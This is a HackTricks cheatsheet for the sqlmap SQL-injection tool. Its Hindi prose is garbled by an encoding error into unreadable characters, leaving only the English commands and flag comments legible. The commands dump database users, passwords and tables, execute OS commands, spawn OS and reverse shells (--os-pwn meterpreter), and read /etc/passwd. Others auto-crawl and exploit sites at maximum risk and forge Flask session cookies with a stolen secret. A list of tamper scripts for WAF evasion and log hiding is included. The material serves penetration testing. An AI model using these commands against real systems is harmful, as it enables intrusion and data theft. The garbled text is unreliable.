SQLMap - Cheetsheat

Support HackTricks

рдХрдордЬреЛрд░реА рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рдкреЗрдирд┐рдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рддреБрд░рдВрдд рдЙрдкрд▓рдмреНрдз рд╕реЗрдЯрдЕрдкред рдХрд╣реАрдВ рд╕реЗ рднреА 20+ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдПрдХ рдкреВрд░реНрдг рдкреЗрдВрдЯреЗрд╕реНрдЯ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдкреБрдирдГ рдЦреЛрдЬ рд╕реЗ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рддрдХ рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдо рдкреЗрдВрдЯреЗрд╕реНрдЯрд░реНрд╕ рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ - рд╣рдо рдЙрдиреНрд╣реЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЦреБрджрд╛рдИ рдХрд░рдиреЗ, рд╢реЗрд▓ рдкреЙрдк рдХрд░рдиреЗ рдФрд░ рдордЬрд╝реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рд╡рд╛рдкрд╕ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рдЙрдкрдХрд░рдг, рдкрд╣рдЪрд╛рди рдФрд░ рд╢реЛрд╖рдг рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

SQLmap рдХреЗ рд▓рд┐рдП рдмреБрдирд┐рдпрд╛рджреА рддрд░реНрдХ

рд╕рд╛рдорд╛рдиреНрдп

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=http://127.0.0.1:8080
--union-char "GsFRts2" #Help sqlmap identify union SQLi techniques with a weird union char

рдЬрд╛рдирдХрд╛рд░реА рдкреНрд░рд╛рдкреНрдд рдХрд░реЗрдВ

рдЖрдВрддрд░рд┐рдХ

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB
--privileges #Get privileges

DB рдбреЗрдЯрд╛

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

рдЕрдиреБрд░реЛрдз рдХреЛ рдХреИрдкреНрдЪрд░ рдХрд░реЗрдВ рдФрд░ рдПрдХ req.txt рдлрд╝рд╛рдЗрд▓ рдмрдирд╛рдПрдВ

sqlmap -r req.txt --current-user

GET рдЕрдиреБрд░реЛрдз рдЗрдВрдЬреЗрдХреНрд╢рди

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

POST рдЕрдиреБрд░реЛрдз рдЗрдВрдЬреЗрдХреНрд╢рди

sqlmap -u "http://example.com" --data "username=*&password=*"

рд╣реЗрдбрд░ рдФрд░ рдЕрдиреНрдп HTTP рд╡рд┐рдзрд┐рдпреЛрдВ рдореЗрдВ рдЗрдВрдЬреЗрдХреНрд╢рди

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

рд╕рдлрд▓ рдЗрдВрдЬреЗрдХреНрд╢рди рд╣реЛрдиреЗ рдкрд░ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЗрдВрдЧрд┐рдд рдХрд░реЗрдВ

--string="string_showed_when_TRUE"

Eval

Sqlmap -e рдпрд╛ --eval рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рддрд╛рдХрд┐ рдкреНрд░рддреНрдпреЗрдХ payload рдХреЛ рдХреБрдЫ python oneliner рдХреЗ рд╕рд╛рде рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред рдпрд╣ payload рдХреЛ рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдХрд╕реНрдЯрдо рддрд░реАрдХреЛрдВ рд╕реЗ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдирд╛ рдмрд╣реБрдд рдЖрд╕рд╛рди рдФрд░ рддреЗрдЬрд╝ рдмрдирд╛рддрд╛ рд╣реИред рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрджрд╛рд╣рд░рдг рдореЗрдВ flask cookie session рдХреЛ рднреЗрдЬрдиреЗ рд╕реЗ рдкрд╣рд▓реЗ рдЬреНрдЮрд╛рдд рдЧреБрдкреНрдд рдХреЗ рд╕рд╛рде flask рджреНрд╡рд╛рд░рд╛ рд╣рд╕реНрддрд╛рдХреНрд╖рд░рд┐рдд рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ:

sqlmap http://1.1.1.1/sqli --eval "from flask_unsign import session as s; session = s.sign({'uid': session}, secret='SecretExfilratedFromTheMachine')" --cookie="session=*" --dump

рд╢реЗрд▓

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

рдлрд╝рд╛рдЗрд▓ рдкрдврд╝реЗрдВ

--file-read=/etc/passwd

SQLmap рдХреЗ рд╕рд╛рде рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рдХреЛ рдХреНрд░реЙрд▓ рдХрд░реЗрдВ рдФрд░ рдСрдЯреЛ-рдПрдХреНрд╕рдкреНрд▓реЙрдЗрдЯ рдХрд░реЗрдВ

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

рд╕реЗрдХрдВрдб рдСрд░реНрдбрд░ рдЗрдВрдЬреЗрдХреНрд╢рди

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

рдЗрд╕ рдкреЛрд╕реНрдЯ рдХреЛ рдкрдврд╝реЗрдВ рдпрд╣рд╛рдВ рдмрддрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ рдХрд┐ sqlmap рдХреЗ рд╕рд╛рде рд╕рд░рд▓ рдФрд░ рдЬрдЯрд┐рд▓ рджреВрд╕рд░реЗ рдХреНрд░рдо рдХреЗ рдЗрдВрдЬреЗрдХреНрд╢рди рдХреИрд╕реЗ рдХрд░реЗрдВред

рдЗрдВрдЬреЗрдХреНрд╢рди рдХреЛ рдЕрдиреБрдХреВрд▓рд┐рдд рдХрд░рдирд╛

рдПрдХ рдЙрдкрд╕рд░реНрдЧ рд╕реЗрдЯ рдХрд░реЗрдВ

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

рдЙрдкрд╕рд░реНрдЧ

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

рдмреВрд▓рд┐рдпрди рдЗрдВрдЬреЗрдХреНрд╢рди рдЦреЛрдЬрдиреЗ рдореЗрдВ рдорджрдж

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

рдпрд╛рдж рд░рдЦреЗрдВ рдХрд┐ рдЖрдк рдЕрдкрдиреЗ рдЦреБрдж рдХреЗ tamper рдХреЛ python рдореЗрдВ рдмрдирд╛ рд╕рдХрддреЗ рд╣реИрдВ рдФрд░ рдпрд╣ рдмрд╣реБрдд рд╕рд░рд▓ рд╣реИред рдЖрдк Second Order Injection рдкреГрд╖реНрда рдкрд░ рдПрдХ tamper рдЙрджрд╛рд╣рд░рдг рдпрд╣рд╛рдБ рдкрд╛ рд╕рдХрддреЗ рд╣реИрдВред

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
TamperDescription

apostrophemask.py

рдЕрдкреЙрд╕реНрдЯреНрд░реЙрдл рдЪрд░ рдХреЛ рдЗрд╕рдХреЗ UTF-8 рдкреВрд░реНрдг рдЪреМрдбрд╝рд╛рдИ рд╕рдордХрдХреНрд╖ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

apostrophenullencode.py

рдЕрдкреЙрд╕реНрдЯреНрд░реЙрдл рдЪрд░ рдХреЛ рдЗрд╕рдХреЗ рдЕрд╡реИрдз рдбрдмрд▓ рдпреВрдирд┐рдХреЛрдб рд╕рдордХрдХреНрд╖ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

appendnullbyte.py

рдкреЗрд▓реЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ рдПрдиреНрдХреЛрдбреЗрдб NULL рдмрд╛рдЗрдЯ рдЪрд░ рдЬреЛрдбрд╝рддрд╛ рд╣реИ

base64encode.py

рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рдЪрд░ рдХреЛ Base64 рдореЗрдВ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ

between.py

'>' рдСрдкрд░реЗрдЯрд░ рдХреЛ 'NOT BETWEEN 0 AND #' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

bluecoat.py

SQL рдХрдерди рдХреЗ рдмрд╛рдж рд╕реНрдкреЗрд╕ рдЪрд░ рдХреЛ рдПрдХ рдорд╛рдиреНрдп рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИред рдЗрд╕рдХреЗ рдмрд╛рдж рдЪрд░ = рдХреЛ LIKE рдСрдкрд░реЗрдЯрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

chardoubleencode.py

рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рдЪрд░ рдХреЛ рдбрдмрд▓ URL-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░рддрд╛)

commalesslimit.py

'LIMIT M, N' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'LIMIT N OFFSET M' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

commalessmid.py

'MID(A, B, C)' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'MID(A FROM B FOR C)' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

concat2concatws.py

'CONCAT(A, B)' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

charencode.py

рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рдЪрд░ рдХреЛ URL-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░рддрд╛)

charunicodeencode.py

рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рдЧреИрд░-рдПрдиреНрдХреЛрдбреЗрдб рдЪрд░ рдХреЛ рдпреВрдирд┐рдХреЛрдб-рдпреВрдЖрд░рдПрд▓-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░рддрд╛)ред "%u0022"

charunicodeescape.py

рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рдЧреИрд░-рдПрдиреНрдХреЛрдбреЗрдб рдЪрд░ рдХреЛ рдпреВрдирд┐рдХреЛрдб-рдпреВрдЖрд░рдПрд▓-рдПрдиреНрдХреЛрдб рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░рддрд╛)ред "\u0022"

equaltolike.py

'=' рдСрдкрд░реЗрдЯрд░ рдХреЗ рд╕рднреА рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'LIKE' рдСрдкрд░реЗрдЯрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

escapequotes.py

рдЙрджреНрдзрд░рдг рдЪрд┐рд╣реНрдиреЛрдВ (' рдФрд░ ") рдХреЛ рд╕реНрд▓реИрд╢ рд╕реЗ рдПрд╕реНрдХреЗрдк рдХрд░рддрд╛ рд╣реИ

greatest.py

'>' рдСрдкрд░реЗрдЯрд░ рдХреЛ 'GREATEST' рд╕рдордХрдХреНрд╖ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

halfversionedmorekeywords.py

рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рд╕реЗ рдкрд╣рд▓реЗ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд MySQL рдЯрд┐рдкреНрдкрдгреА рдЬреЛрдбрд╝рддрд╛ рд╣реИ

ifnull2ifisnull.py

'IFNULL(A, B)' рдЬреИрд╕реЗ рдЙрджрд╛рд╣рд░рдгреЛрдВ рдХреЛ 'IF(ISNULL(A), B, A)' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

modsecurityversioned.py

рдкреВрд░реНрдг рдХреНрд╡реЗрд░реА рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ

modsecurityzeroversioned.py

рдкреВрд░реНрдг рдХреНрд╡реЗрд░реА рдХреЛ рд╢реВрдиреНрдп-рд╕рдВрд╕реНрдХрд░рдгрд┐рдд рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ

multiplespaces.py

SQL рдХреАрд╡рд░реНрдб рдХреЗ рдЪрд╛рд░реЛрдВ рдУрд░ рдХрдИ рд╕реНрдкреЗрд╕ рдЬреЛрдбрд╝рддрд╛ рд╣реИ

nonrecursivereplacement.py

рдкреВрд░реНрд╡рдирд┐рд░реНрдзрд╛рд░рд┐рдд SQL рдХреАрд╡рд░реНрдб рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрди рдХреЗ рд▓рд┐рдП рдЙрдкрдпреБрдХреНрдд рдкреНрд░рддрд┐рдирд┐рдзрд┐рддреНрд╡ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ (рдЬреИрд╕реЗ .replace("SELECT", "")) рдлрд╝рд┐рд▓реНрдЯрд░

percentage.py

рдкреНрд░рддреНрдпреЗрдХ рдЪрд░ рдХреЗ рд╕рд╛рдордиреЗ рдПрдХ рдкреНрд░рддрд┐рд╢рдд рдЪрд┐рд╣реНрди ('%') рдЬреЛрдбрд╝рддрд╛ рд╣реИ

overlongutf8.py

рджрд┐рдП рдЧрдП рдкреЗрд▓реЛрдб рдореЗрдВ рд╕рднреА рдЪрд░ рдХреЛ рдкрд░рд┐рд╡рд░реНрддрд┐рдд рдХрд░рддрд╛ рд╣реИ (рдкрд╣рд▓реЗ рд╕реЗ рдПрдиреНрдХреЛрдбреЗрдб рдХреЛ рдкреНрд░реЛрд╕реЗрд╕ рдирд╣реАрдВ рдХрд░рддрд╛)

randomcase.py

рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рдЪрд░ рдХреЛ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдХреЗрд╕ рдорд╛рди рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

randomcomments.py

SQL рдХреАрд╡рд░реНрдб рдореЗрдВ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЯрд┐рдкреНрдкрдгрд┐рдпрд╛рдБ рдЬреЛрдбрд╝рддрд╛ рд╣реИ

securesphere.py

рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рддреИрдпрд╛рд░ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдЬреЛрдбрд╝рддрд╛ рд╣реИ

sp_password.py

рдкреЗрд▓реЛрдб рдХреЗ рдЕрдВрдд рдореЗрдВ 'sp_password' рдЬреЛрдбрд╝рддрд╛ рд╣реИ рддрд╛рдХрд┐ DBMS рд▓реЙрдЧ рд╕реЗ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдЫрд┐рдкрд╛рдпрд╛ рдЬрд╛ рд╕рдХреЗ

space2comment.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдЯрд┐рдкреНрдкрдгрд┐рдпреЛрдВ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

space2dash.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдПрдХ рдбреИрд╢ рдЯрд┐рдкреНрдкрдгреА ('--') рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ ('\n') рд╣реЛрддреА рд╣реИ

space2hash.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдПрдХ рдкрд╛рдЙрдВрдб рдЪрд░ ('#') рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ ('\n') рд╣реЛрддреА рд╣реИ

space2morehash.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдПрдХ рдкрд╛рдЙрдВрдб рдЪрд░ ('#') рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рд╕реНрдЯреНрд░рд┐рдВрдЧ рдФрд░ рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ ('\n') рд╣реЛрддреА рд╣реИ

space2mssqlblank.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рд╡реИрдз рд╡реИрдХрд▓реНрдкрд┐рдХ рдЪрд░ рдХреЗ рд╕реЗрдЯ рд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

space2mssqlhash.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдПрдХ рдкрд╛рдЙрдВрдб рдЪрд░ ('#') рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ ('\n') рд╣реЛрддреА рд╣реИ

space2mysqlblank.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рд╡реИрдз рд╡реИрдХрд▓реНрдкрд┐рдХ рдЪрд░ рдХреЗ рд╕реЗрдЯ рд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

space2mysqldash.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдПрдХ рдбреИрд╢ рдЯрд┐рдкреНрдкрдгреА ('--') рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рдмрд╛рдж рдПрдХ рдирдИ рдкрдВрдХреНрддрд┐ ('\n') рд╣реЛрддреА рд╣реИ

space2plus.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рдкреНрд▓рд╕ ('+') рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

space2randomblank.py

рд╕реНрдкреЗрд╕ рдЪрд░ (' ') рдХреЛ рд╡реИрдз рд╡реИрдХрд▓реНрдкрд┐рдХ рдЪрд░ рдХреЗ рд╕реЗрдЯ рд╕реЗ рдПрдХ рдпрд╛рджреГрдЪреНрдЫрд┐рдХ рдЦрд╛рд▓реА рдЪрд░ рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

symboliclogical.py

AND рдФрд░ OR рддрд╛рд░реНрдХрд┐рдХ рдСрдкрд░реЗрдЯрд░ рдХреЛ рдЙрдирдХреЗ рдкреНрд░рддреАрдХрд╛рддреНрдордХ рд╕рдордХрдХреНрд╖ (&& рдФрд░

unionalltounion.py

UNION ALL SELECT рдХреЛ UNION SELECT рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

unmagicquotes.py

рдЙрджреНрдзрд░рдг рдЪрд░ (') рдХреЛ рдПрдХ рдорд▓реНрдЯреА-рдмрд╛рдЗрдЯ рдХреЙрдореНрдмреЛ %bf%27 рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ, рд╕рд╛рде рдореЗрдВ рдЕрдВрдд рдореЗрдВ рдПрдХ рд╕рд╛рдорд╛рдиреНрдп рдЯрд┐рдкреНрдкрдгреА (рдХрд╛рдо рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП)

uppercase.py

рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рдЪрд░ рдХреЛ рдмрдбрд╝реЗ рдЕрдХреНрд╖рд░ рдХреЗ рдорд╛рди 'INSERT' рдХреЗ рд╕рд╛рде рдмрджрд▓рддрд╛ рд╣реИ

varnish.py

рдПрдХ HTTP рд╣реЗрдбрд░ 'X-originating-IP' рдЬреЛрдбрд╝рддрд╛ рд╣реИ

versionedkeywords.py

рдкреНрд░рддреНрдпреЗрдХ рдЧреИрд░-рдлрдВрдХреНрд╢рди рдХреАрд╡рд░реНрдб рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд MySQL рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ

versionedmorekeywords.py

рдкреНрд░рддреНрдпреЗрдХ рдХреАрд╡рд░реНрдб рдХреЛ рд╕рдВрд╕реНрдХрд░рдгрд┐рдд MySQL рдЯрд┐рдкреНрдкрдгреА рдХреЗ рд╕рд╛рде рдШреЗрд░рддрд╛ рд╣реИ

xforwardedfor.py

рдПрдХ рдирдХрд▓реА HTTP рд╣реЗрдбрд░ 'X-Forwarded-For' рдЬреЛрдбрд╝рддрд╛ рд╣реИ

рдХрдордЬреЛрд░реА рдореВрд▓реНрдпрд╛рдВрдХрди рдФрд░ рдкреЗрдирд┐рдЯреНрд░реЗрд╢рди рдЯреЗрд╕реНрдЯрд┐рдВрдЧ рдХреЗ рд▓рд┐рдП рддреБрд░рдВрдд рдЙрдкрд▓рдмреНрдз рд╕реЗрдЯрдЕрдкред 20+ рдЙрдкрдХрд░рдгреЛрдВ рдФрд░ рд╕реБрд╡рд┐рдзрд╛рдУрдВ рдХреЗ рд╕рд╛рде рдХрд╣реАрдВ рд╕реЗ рднреА рдПрдХ рдкреВрд░реНрдг рдкреЗрдВрдЯреЗрд╕реНрдЯ рдЪрд▓рд╛рдПрдБ рдЬреЛ рдкреБрдирдГ рдЦреЛрдЬ рд╕реЗ рд░рд┐рдкреЛрд░реНрдЯрд┐рдВрдЧ рддрдХ рдЬрд╛рддреЗ рд╣реИрдВред рд╣рдо рдкреЗрдВрдЯреЗрд╕реНрдЯрд░реНрд╕ рдХреЛ рдкреНрд░рддрд┐рд╕реНрдерд╛рдкрд┐рдд рдирд╣реАрдВ рдХрд░рддреЗ - рд╣рдо рдЙрдиреНрд╣реЗрдВ рдЧрд╣рд░рд╛рдИ рд╕реЗ рдЦреБрджрд╛рдИ рдХрд░рдиреЗ, рд╢реЗрд▓ рдкреЙрдк рдХрд░рдиреЗ рдФрд░ рдордЬрд╝реЗ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХреБрдЫ рд╕рдордп рд╡рд╛рдкрд╕ рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╕реНрдЯрдо рдЙрдкрдХрд░рдг, рдкрд╣рдЪрд╛рди рдФрд░ рд╢реЛрд╖рдг рдореЙрдбреНрдпреВрд▓ рд╡рд┐рдХрд╕рд┐рдд рдХрд░рддреЗ рд╣реИрдВред

HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░реЗрдВ

Last updated